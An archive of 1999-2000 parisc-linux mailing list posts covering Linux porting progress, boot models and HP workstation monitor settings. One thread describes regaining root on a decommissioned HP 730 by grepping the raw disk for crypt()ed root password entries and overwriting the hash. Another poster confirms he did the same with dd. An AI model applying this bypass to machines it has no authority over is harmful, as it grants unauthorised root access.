	by sod.res.cmu.edu (8.8.7/8.8.7) id VAA11724;
	Thu, 11 Mar 1999 21:45:07 -0500
Resent-Date: Thu, 11 Mar 1999 21:45:07 -0500
X-Authentication-Warning: sod.res.cmu.edu: listserv set sender to hppa-linux-request@thepuffingroup.com using -f
Delivered-To: thepuffi-hppa-linux@thepuffingroup.com
Date: Thu, 11 Mar 1999 21:33:41 -0500
From: "Paul J.Y. Lahaie" <pjlahaie@ottawa.com>
Subject: Re: [hppa-linux] Boot #4 and source on ftp site
Sender: pjlahaie@sims-ha.videotron.net
To: hppa-linux@thepuffingroup.com
Message-id: <36E87D05.92A51D72@ottawa.com>
MIME-version: 1.0
X-Mailer: Mozilla 4.08 [en] (X11; I; Linux 2.2.3 i586)
Content-type: text/plain; charset=us-ascii
Content-transfer-encoding: 7bit
References: <199903112235.QAA05851@equator.com>
Resent-Message-ID: <"JiAR52.0.1t2.p-7ws"@sod.res.cmu.edu>
Resent-From: hppa-linux@thepuffingroup.com
Reply-To: hppa-linux@thepuffingroup.com
X-Mailing-List: <hppa-linux@thepuffingroup.com> archive/latest/174
X-Loop: hppa-linux@thepuffingroup.com
Precedence: list
Resent-Sender: hppa-linux-request@thepuffingroup.com
X-UIDL: 0d449782e187c7db284fec406ad0cd5b
Lines: 9
Xref: merlin.pcj.primenet.com palinux:147

Works fine for me now.  I must have messed up the previous try, it
now boots up very quickly and gives me the spinning \|/- stuff.

							- Paul

-------------------------------------------------------------------------
To unsubscribe: send e-mail to hppa-linux-request@thepuffingroup.com with
`unsubscribe' as the subject.



From - Thu Nov 08 21:11:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Ross J. Reedstrom" <reedstrm@wallace.ece.rice.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Thanks...alot
Date: Fri, 7 Jan 2000 11:34:20 -0600
Lines: 57
Approved: news@gmane.org
Message-ID: <20000107113420.C9918@rice.edu>
References: <51C39E66FF96D11194FCAA0004000304933A96@tele02.localnet> <200001071552.JAA01881@egsner.cirr.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618724 29632 80.91.229.3 (22 Nov 2014 01:12:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:04 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Mark Wild <M_Wild@tunstall.co.uk>
Original-X-From: reedstrm@wallace.ece.rice.edu  Fri Jan  7 10:31:31 2000
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id KAA05675
	for <parisc-linux@puffin.external.hp.com>; Fri, 7 Jan 2000 10:31:26 -0700
Original-Received: (qmail 13146 invoked by uid 15267); 7 Jan 2000 17:34:21 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 13138 invoked from network); 7 Jan 2000 17:34:21 -0000
Original-Received: from wallace.ece.rice.edu (root@128.42.12.154)
  by mailserv2.iuinc.com with SMTP; 7 Jan 2000 17:34:21 -0000
Original-Received: by wallace.ece.rice.edu
	via sendmail from stdin
	id <m126dHI-000LEOC@wallace.ece.rice.edu> (Debian Smail3.2.0.102)
	for parisc-linux@thepuffingroup.com; Fri, 7 Jan 2000 11:34:20 -0600 (CST) 
User-Agent: Mutt/1.0i
In-Reply-To: <200001071552.JAA01881@egsner.cirr.com>; from eric@cirr.com on Fri, Jan 07, 2000 at 09:52:30AM -0600
Xref: news.gmane.org gmane.linux.ports.parisc:6684

On Fri, Jan 07, 2000 at 09:52:30AM -0600, Eric Schnoebelen wrote:
> 
> Mark Wild writes:
> - From: eric@cirr.com [mailto:eric@cirr.com]
> - > 	You might check to see what interpreter is called out at
> - > the top of /etc/rc.  If it's still /bin/sh, go verify what
> - > /bin/sh points to..
> - 
> - How can I do that? I'm not familiar with all the options/commands
> - of the hpux command from the ISL prompt.
> 
> 	I was suggesting you do that from a multi-user login
> (assuming you've got one.. perhaps a rash assumption..)

Mark, you seem  to be in the same situation I was, witha similarly
decommissioned 730 (academic leftover): no root, no account at all! It
booted to a X/OpenVue login screen just fine, however. (Had to take it
down hard with the toc switch, after that.)

Not knowing any of the HP-UX specific tricks, I fell back on a maxim
from computer security: 'There is no computer security without physical
security.'

I yanked the boot HD, dropped it onto the SCSI chain of my linux box,
used grep on the 'raw' block device as so:

grep -ba 'root:[^:]\{13\}:'

to find all occurences of something that looked like a root passwd entry,
with crypt()ed password, and fired up lde (Linux Disk Editor) to change
it to the hash for a password I knew. Worked great!  Strangely enough,
I found 6 copies, with three different passwords.

Once logged in as root, I used the standard utilities to change passwords
again, just in case there was something I missed.

Ross

P.S. 
Later, I aquired the Y2K 9.X->10.20 upgrade kit, with the core 10.20
CD. You just need to call the HP fulfillment desk, and give them the
part number from the web site. I order it on 12/7, they shipped 12/14,
FEDEX, so charge. I even recieved and invoice for part B6815AA, cost 0.00
Unfortunately, it's not bootable on a 730. Oh, the webpage that mentions
all this:

http://www.hp.com/visualize/programs/y2k/y2k_menu/y2k_upgr/oskit.html

It give an 800 number for calling from the U.S. You'll have to trackdown
HP UK number to call, I'm afraid.

-- 
Ross J. Reedstrom, Ph.D., <reedstrm@rice.edu> 
NSBRI Research Scientist/Programmer
Computer and Information Technology Institute
Rice University, 6100 S. Main St.,  Houston, TX 77005


From - Thu Nov 08 21:11:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] State Of The Port
Date: Fri, 7 Jan 2000 16:47:03 -0500
Lines: 64
Approved: news@gmane.org
Message-ID: <20000107164703.B11300@thepuffingroup.com>
References: <20000106210702.S5882@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618725 29636 80.91.229.3 (22 Nov 2014 01:12:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:05 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: willy@thepuffingroup.com  Fri Jan  7 14:44:10 2000
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id OAA07169
	for <parisc-linux@puffin.external.hp.com>; Fri, 7 Jan 2000 14:44:10 -0700
Original-Received: (qmail 32496 invoked by uid 15267); 7 Jan 2000 21:47:06 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 32467 invoked from network); 7 Jan 2000 21:47:05 -0000
Original-Received: from unknown (HELO gin.ext.thepuffingroup.com) (216.208.98.3)
  by mailserv2.iuinc.com with SMTP; 7 Jan 2000 21:47:05 -0000
Original-Received: (from willy@localhost)
	by gin.ext.thepuffingroup.com (8.9.3/8.9.3) id QAA11596
	for parisc-linux@thepuffingroup.com; Fri, 7 Jan 2000 16:47:04 -0500
X-Mailer: Mutt 0.95.4us
In-Reply-To: <20000106210702.S5882@thepuffingroup.com>; from Matthew Wilcox on Thu, Jan 06, 2000 at 09:07:02PM -0500
Xref: news.gmane.org gmane.linux.ports.parisc:6685


Summary of the telephone meeting held 7/Jan/2000.

Participants:

Michael Ang
Paul Bame
Grant Grundler
R. Scott Holbrooke
David Kennedy
John Marvin
Martin Peterson
Philipp Rumpf
Alex deVries
Matthew Wilcox

1. The Linux 2.3 tree will be opened up today for the general public.

2. The PCI code compiles but has not yet been tested.  Extra work will
   need to be done to support PAT PDC, and Grant will look into this.

3. David will get the Tulip driver working.

4. Martin volunteered to take care of the serial driver problems we are
   experiencing

5. John & Philipp will work on the TLB miss handlers which are currently
   limiting development in a couple of areas.

6. Matthew will work on the proper syscall code.

7. Philipp has the fork() code working, and will next examine exec().

8. Scott volunteered to take care of writing TCP and UDP checksumming
   routines in PA-RISC assembler.

9. Matthew will arrange for a suitable `ifconfig' binary to be available
   for the purposes of testing the network driver.

10. Michael will work on implementing more HPUX syscalls in Linux to
    allow Apache to work.

11. David volunteered to set up a random config test system.

12. Matthew will remove some config options which are known to not work
    (and are unlikely to work in the near future).

13. Grant is currently building a 712 system for Sammy who will be
    transferring his energies from the sun3 port.

14. Frank Rowand is leaving HP.  He has a couple of loan machines
    and may continue to contribute to the port if he has spare time.
    Paul volunteered to liase with Frank to look at the kernel debugger
    code that Frank had written.

15. We discussed a possible hackfest in Fort Collins, and agreed to it
    in principle, but not before Feb 1st.


P.S.  I was tempted to start this email with `The Linux/PA-RISC Core
Team had a Secret Meeting and have deigned to share the results with the
Unwashed Masses', but given how much trouble my last sarcastic comment
caused, I decided to refrain.


From - Thu Nov 08 21:11:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@endor.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Dual boot?
Date: Fri, 07 Jan 2000 15:46:16 -0700
Lines: 17
Approved: news@gmane.org
Message-ID: <E126i9A-0001lk-00@endor.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618725 29639 80.91.229.3 (22 Nov 2014 01:12:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:05 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: bame@endor.fc.hp.com  Fri Jan  7 15:43:29 2000
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id PAA07776
	for <parisc-linux@puffin.external.hp.com>; Fri, 7 Jan 2000 15:43:29 -0700
Original-Received: (qmail 840 invoked by uid 15267); 7 Jan 2000 22:46:18 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 824 invoked from network); 7 Jan 2000 22:46:17 -0000
Original-Received: from atlrel2.hp.com (156.153.255.202)
  by mailserv2.iuinc.com with SMTP; 7 Jan 2000 22:46:17 -0000
Original-Received: from endor.fc.hp.com (endor.fc.hp.com [15.1.49.59])
	by atlrel2.hp.com (Postfix) with ESMTP id B915118C
	for <parisc-linux@thepuffingroup.com>; Fri,  7 Jan 2000 17:46:16 -0500 (EST)
Original-Received: from localhost (endor.fc.hp.com) [127.0.0.1] (bame)
	by endor.fc.hp.com with esmtp (Exim 2.05 #1 (Debian))
	id 126i9A-0001lk-00; Fri, 7 Jan 2000 15:46:16 -0700
Xref: news.gmane.org gmane.linux.ports.parisc:6686


How do people feel about boot models for parisc in the future, for
people who aren't developers?  For the moment I want to ignore whether
we *could* support the model and ignore the technical implications too.

My uninformed guess is that most people will either run Linux or HP-UX
but not dual-boot both on the same hardware.

If a robust dual-boot model for "the masses" can be avoided, it would
simplify some things.  For those of us who *need* dual boot
for development, ramdisks+UFS and/or second disk drives may be
an acceptable inconvenience.

What do people think?

	-Paul Bame


From - Thu Nov 08 21:11:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michael Schulz <micha28@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 9000/712 & Samsung Monitor
Date: Sat, 8 Jan 2000 03:15:37 +0100
Lines: 27
Approved: news@gmane.org
Message-ID: <20000108031537.A2522@gonzo.ns03.de.uu.net>
Reply-To: micha28@gmx.de
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618725 29640 80.91.229.3 (22 Nov 2014 01:12:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:05 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: micha28@gmx.de  Fri Jan  7 19:41:38 2000
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id TAA09164
	for <parisc-linux@puffin.external.hp.com>; Fri, 7 Jan 2000 19:41:38 -0700
Original-Received: (qmail 22371 invoked by uid 15267); 8 Jan 2000 02:44:34 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 22364 invoked from network); 8 Jan 2000 02:44:33 -0000
Original-Received: from mail2.gmx.net (194.221.183.62)
  by mailserv2.iuinc.com with SMTP; 8 Jan 2000 02:44:33 -0000
Original-Received: (qmail 26741 invoked by uid 0); 8 Jan 2000 02:44:32 -0000
Original-Received: from pec-46-104.tnt6.me.uunet.de (HELO gonzo.misc.de) (149.225.46.104)
  by mail2.gmx.net with SMTP; 8 Jan 2000 02:44:32 -0000
Original-Received: (from michael@localhost)
	by gonzo.misc.de (8.9.3/8.9.3) id DAA02571
	for parisc-linux@thepuffingroup.com; Sat, 8 Jan 2000 03:15:37 +0100
X-Mailer: Mutt 1.0i
X-OS: Linux 2.2.14 i586
Xref: news.gmane.org gmane.linux.ports.parisc:6687

Hello,

I can get a 712/60 almost complete, but without a monitor.
So my question is, is it possible to connect a Samsung
Syncmaster 17GLsi with the HP.
Specs:
  Horiz: 30kHz to 85kHz
  Vert: 50Hz to 120Hz
  Max. Res. 1280 x 1024
  Pix Clk: 135MHz

I never called a HP 9000 my own (only i86 and an Alpha, 100% MS
free) so I don't know so much about HP's.
Thanks for your answer,

Michael

BTW: If my English was to bad, please forgive me. This Wine from
New Zealand was to good to say no. I envy all you "New
Zealander's". Is there a Job for me in NZ;-)

-- 
You know like - this band sucks.
But it's like they suck like a new way here.
Like - they suck in ways we haven't like seen stuff suck before,
so it's like pretty cool.  (Butthead)


From - Thu Nov 08 21:11:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: eric@cirr.com (Eric Schnoebelen)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 9000/712 & Samsung Monitor
Date: Fri, 07 Jan 2000 21:32:36 -0600
Lines: 20
Approved: news@gmane.org
Message-ID: <200001080332.VAA25531@opus.cirr.com>
References: <20000108031537.A2522@gonzo.ns03.de.uu.net>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618726 29642 80.91.229.3 (22 Nov 2014 01:12:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:06 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: micha28@gmx.de
Original-X-From: eric@cirr.com  Fri Jan  7 20:29:44 2000
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id UAA09787
	for <parisc-linux@puffin.external.hp.com>; Fri, 7 Jan 2000 20:29:43 -0700
Original-Received: (qmail 4468 invoked by uid 15267); 8 Jan 2000 03:32:39 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 4461 invoked from network); 8 Jan 2000 03:32:39 -0000
Original-Received: from opus.cirr.com (root@192.67.63.6)
  by mailserv2.iuinc.com with SMTP; 8 Jan 2000 03:32:39 -0000
Original-Received: from cirr.com (IDENT:eric@egsner.cirr.com [192.67.63.1])
	by opus.cirr.com (8.9.0/8.9.0) with ESMTP id VAA25531;
	Fri, 7 Jan 2000 21:32:35 -0600 (CST)
In-reply-to: Your message of "Sat, 08 Jan 2000 03:15:37 +0100."
             <20000108031537.A2522@gonzo.ns03.de.uu.net> 
Original-Sender: eric@cirr.com
Xref: news.gmane.org gmane.linux.ports.parisc:6688


Michael Schulz writes:
- I can get a 712/60 almost complete, but without a monitor.
- So my question is, is it possible to connect a Samsung
- Syncmaster 17GLsi with the HP.
- Specs:
-   Horiz: 30kHz to 85kHz
-   Vert: 50Hz to 120Hz
-   Max. Res. 1280 x 1024
-   Pix Clk: 135MHz

	It should work..  The 712 will detect that the monitor
cannot support a given frequency, and start cycling through the
valid settings.  When you can see one you like, I believe you
press space or enter, and it is selected..

--
Eric Schnoebelen		eric@cirr.com		http://www.cirr.com
      Where subtlety fails us we must simply make do with cream pies.


From - Thu Nov 08 21:11:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Steven Pritchard <steve@silug.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 9000/712 & Samsung Monitor
Date: Fri, 7 Jan 2000 22:49:12 -0600 (CST)
Lines: 38
Approved: news@gmane.org
Message-ID: <200001080449.WAA13881@osiris.silug.org>
References: <20000108031537.A2522@gonzo.ns03.de.uu.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618726 29645 80.91.229.3 (22 Nov 2014 01:12:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:06 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: micha28@gmx.de
Original-X-From: steve@osiris.silug.org  Fri Jan  7 21:46:41 2000
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id VAA10265
	for <parisc-linux@puffin.external.hp.com>; Fri, 7 Jan 2000 21:46:40 -0700
Original-Received: (qmail 27897 invoked by uid 15267); 8 Jan 2000 04:49:37 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 27878 invoked from network); 8 Jan 2000 04:49:35 -0000
Original-Received: from gw.lanscape.net (HELO osiris.silug.org) (208.235.155.254)
  by mailserv2.iuinc.com with SMTP; 8 Jan 2000 04:49:35 -0000
Original-Received: (from steve@localhost)
	by osiris.silug.org (8.9.3/8.9.3) id WAA13881;
	Fri, 7 Jan 2000 22:49:12 -0600
In-Reply-To: <20000108031537.A2522@gonzo.ns03.de.uu.net> from Michael Schulz at "Jan 8, 0 03:15:37 am"
X-Mailer: ELM [version 2.4ME+ PL38 (25)]
Xref: news.gmane.org gmane.linux.ports.parisc:6689

Michael Schulz said:
> I can get a 712/60 almost complete, but without a monitor.
> So my question is, is it possible to connect a Samsung
> Syncmaster 17GLsi with the HP.

I don't know the first thing about 712s, but I was amazed to discover
that if you do "path console graphics.7" (and then "reset") at the
"BOOT_ADMIN>" prompt on a 715/100, you'll get 640x480 graphics
suitable for a VGA monitor.  Doing "path console graphics" lists the
various choices...

BOOT_ADMIN> path console graphics
        Monitor Choices
Type     Resolution     Frequency
----     ----------     ---------
  1      1280x1024        72Hz
  2      1024x768         75Hz
  3      1024x768         70Hz
  4      1024x768         75Hz     Flat Panel
  5      1280x1024        60Hz
  6      1024x768         60Hz
  7       640x480         60Hz
  8      1280x1024        75Hz     VESA
  9      1024x768         75Hz     VESA
 10       800x600         75Hz     VESA
 11       640x480         75Hz     VESA
 12      1280x1024        72Hz     Greyscale
 13      1280x1024        50Hz

If a 712/60 will do the same, then surely when of the lower
resolutions or frequencies would work...

Steve
-- 
steve@silug.org           | Linux Users of Central Illinois
(217)698-1694             | Meetings the 4th Tuesday of every month
Steven Pritchard          | http://www.luci.org/ for more info


From - Thu Nov 08 21:11:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Nathaniel F. Thompson" <haplo@frii.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 9000/712 & Samsung Monitor
Date: Sat, 8 Jan 2000 17:41:20 -0700 (MST)
Lines: 53
Approved: news@gmane.org
Message-ID: <Pine.BSF.4.10.10001081739390.74709-100000@io.frii.com>
References: <200001080449.WAA13881@osiris.silug.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618726 29648 80.91.229.3 (22 Nov 2014 01:12:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:06 +0000 (UTC)
Cc: micha28@gmx.de, parisc-linux@thepuffingroup.com
To: Steven Pritchard <steve@silug.org>
Original-X-From: haplo@frii.com  Sat Jan  8 17:40:15 2000
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id RAA16315
	for <parisc-linux@puffin.external.hp.com>; Sat, 8 Jan 2000 17:40:15 -0700
Original-Received: (qmail 29428 invoked by uid 15267); 9 Jan 2000 00:43:12 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 29418 invoked from network); 9 Jan 2000 00:43:11 -0000
Original-Received: from io.frii.com (216.17.128.3)
  by mailserv2.iuinc.com with SMTP; 9 Jan 2000 00:43:11 -0000
Original-Received: from localhost (haplo@localhost)
	by io.frii.com (8.9.3/8.9.3) with ESMTP id RAA74727;
	Sat, 8 Jan 2000 17:41:21 -0700 (MST)
X-Authentication-Warning: io.frii.com: haplo owned process doing -bs
In-Reply-To: <200001080449.WAA13881@osiris.silug.org>
Xref: news.gmane.org gmane.linux.ports.parisc:6690


It does work the same on a 712.  To save the typing at the BOOT_ADMIN
prompt, just hit tab as it comes up.  This will force it to cycle through
different frequencies.  I have seen many machines at work that won't cycle
unless you hit tab, and some that will auto cycle.  

Nate

On Fri, 7 Jan 2000, Steven Pritchard wrote:

> Michael Schulz said:
> > I can get a 712/60 almost complete, but without a monitor.
> > So my question is, is it possible to connect a Samsung
> > Syncmaster 17GLsi with the HP.
> 
> I don't know the first thing about 712s, but I was amazed to discover
> that if you do "path console graphics.7" (and then "reset") at the
> "BOOT_ADMIN>" prompt on a 715/100, you'll get 640x480 graphics
> suitable for a VGA monitor.  Doing "path console graphics" lists the
> various choices...
> 
> BOOT_ADMIN> path console graphics
>         Monitor Choices
> Type     Resolution     Frequency
> ----     ----------     ---------
>   1      1280x1024        72Hz
>   2      1024x768         75Hz
>   3      1024x768         70Hz
>   4      1024x768         75Hz     Flat Panel
>   5      1280x1024        60Hz
>   6      1024x768         60Hz
>   7       640x480         60Hz
>   8      1280x1024        75Hz     VESA
>   9      1024x768         75Hz     VESA
>  10       800x600         75Hz     VESA
>  11       640x480         75Hz     VESA
>  12      1280x1024        72Hz     Greyscale
>  13      1280x1024        50Hz
> 
> If a 712/60 will do the same, then surely when of the lower
> resolutions or frequencies would work...
> 
> Steve
> -- 
> steve@silug.org           | Linux Users of Central Illinois
> (217)698-1694             | Meetings the 4th Tuesday of every month
> Steven Pritchard          | http://www.luci.org/ for more info
> 
> ---------------------------------------------------------------------------
> To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
> `unsubscribe' as the subject.
> 


From - Thu Nov 08 21:11:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mark Wild <M_Wild@tunstall.co.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Thanks...alot
Date: Mon, 10 Jan 2000 08:57:38 -0000
Lines: 58
Approved: news@gmane.org
Message-ID: <51C39E66FF96D11194FCAA0004000304933CC5@tele02.localnet>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416618727 29649 80.91.229.3 (22 Nov 2014 01:12:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:07 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: m_wild@tunstall.co.uk  Mon Jan 10 01:55:51 2000
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id BAA25555
	for <parisc-linux@puffin.external.hp.com>; Mon, 10 Jan 2000 01:55:50 -0700
Original-Received: (qmail 1711 invoked by uid 15267); 10 Jan 2000 08:58:50 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 1703 invoked from network); 10 Jan 2000 08:58:47 -0000
Original-Received: from gate-isdn.tunstall.co.uk (194.152.75.185)
  by mailserv2.iuinc.com with SMTP; 10 Jan 2000 08:58:47 -0000
Original-Received: from [10.1.1.3] (helo=tele02.tunstall.co.uk)
	by gate-isdn.tunstall.co.uk with esmtp (Exim 2.12 #1)
	id 127abu-0002PM-00
	for parisc-linux@thepuffingroup.com; Mon, 10 Jan 2000 08:55:34 +0000
Original-Received: by tele02.localnet with Internet Mail Service (5.5.2448.0)
	id <ZL6QBRLG>; Mon, 10 Jan 2000 08:57:43 -0000
X-Mailer: Internet Mail Service (5.5.2448.0)
Xref: news.gmane.org gmane.linux.ports.parisc:6691



> -----Original Message-----
> From: Ross J. Reedstrom [mailto:reedstrm@wallace.ece.rice.edu]
> Sent: Friday, January 07, 2000 5:34 PM
> To: Mark Wild
> Cc: parisc-linux@thepuffingroup.com
> Subject: Re: [parisc-linux] Thanks...alot
> 
> 
> On Fri, Jan 07, 2000 at 09:52:30AM -0600, Eric Schnoebelen wrote:
> > 
> > Mark Wild writes:
> > - From: eric@cirr.com [mailto:eric@cirr.com]
> > - > 	You might check to see what interpreter is called out at
> > - > the top of /etc/rc.  If it's still /bin/sh, go verify what
> > - > /bin/sh points to..
> > - 
> > - How can I do that? I'm not familiar with all the options/commands
> > - of the hpux command from the ISL prompt.
> > 
> > 	I was suggesting you do that from a multi-user login
> > (assuming you've got one.. perhaps a rash assumption..)
> 
> Mark, you seem  to be in the same situation I was, witha similarly
> decommissioned 730 (academic leftover): no root, no account at all! It
> booted to a X/OpenVue login screen just fine, however. (Had to take it
> down hard with the toc switch, after that.)

Yep.

> Not knowing any of the HP-UX specific tricks, I fell back on a maxim
> from computer security: 'There is no computer security 
> without physical
> security.'
> 
> I yanked the boot HD, dropped it onto the SCSI chain of my linux box,
> used grep on the 'raw' block device as so:
> 
> grep -ba 'root:[^:]\{13\}:'
> 
> to find all occurences of something that looked like a root 
> passwd entry,
> with crypt()ed password, and fired up lde (Linux Disk Editor) 
> to change
> it to the hash for a password I knew. Worked great!  Strangely enough,
> I found 6 copies, with three different passwords.
> 
> Once logged in as root, I used the standard utilities to 
> change passwords
> again, just in case there was something I missed.

Thanks for that, it worked a treat. I didn't have lde installed
on my linux machine so I used dd to copy it to another hd doing
a search & replace on the root password.

Mark.


From - Thu Nov 08 21:11:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Linux 2.3
Date: Mon, 10 Jan 2000 20:37:59 -0500
Lines: 18
Approved: news@gmane.org
Message-ID: <20000110203759.S11300@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618727 29651 80.91.229.3 (22 Nov 2014 01:12:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:07 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: willy@thepuffingroup.com  Mon Jan 10 19:45:16 2000
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id TAA03503
	for <parisc-linux@puffin.external.hp.com>; Mon, 10 Jan 2000 19:45:15 -0700
Original-Received: (qmail 20525 invoked by uid 15267); 11 Jan 2000 02:48:16 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 20518 invoked from network); 11 Jan 2000 02:48:15 -0000
Original-Received: from unknown (HELO gin.ext.thepuffingroup.com) (216.208.98.3)
  by mailserv2.iuinc.com with SMTP; 11 Jan 2000 02:48:15 -0000
Original-Received: (from willy@localhost)
	by gin.ext.thepuffingroup.com (8.9.3/8.9.3) id UAA19054
	for parisc-linux@thepuffingroup.com; Mon, 10 Jan 2000 20:37:59 -0500
X-Mailer: Mutt 0.95.4us
Xref: news.gmane.org gmane.linux.ports.parisc:6692


Everyone should now switch development to the linux 2.3 tree which is
in CVS.  How do you do this?

Set your CVSROOT as described on the pages.
cvs co linux-2.3
cd linux-2.3
(fetch a ramdisk.bin and put it in this directory)
make oldconfig
make dep
make Image
cp arch/parisc/boot/Image to wherever you tftpboot from.
Watch your machine crash.

It may get as far as a prompt for you; but even if it doesn't, it should
still get quite some way.  Many configurations will not work, and some
may not compile; I ensured that the defconfig will at least link.


From - Thu Nov 08 21:11:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ulrich Strelow <ulrich_strelow@yahoo.com>
Newsgroups: gmane.linux.ports.parisc
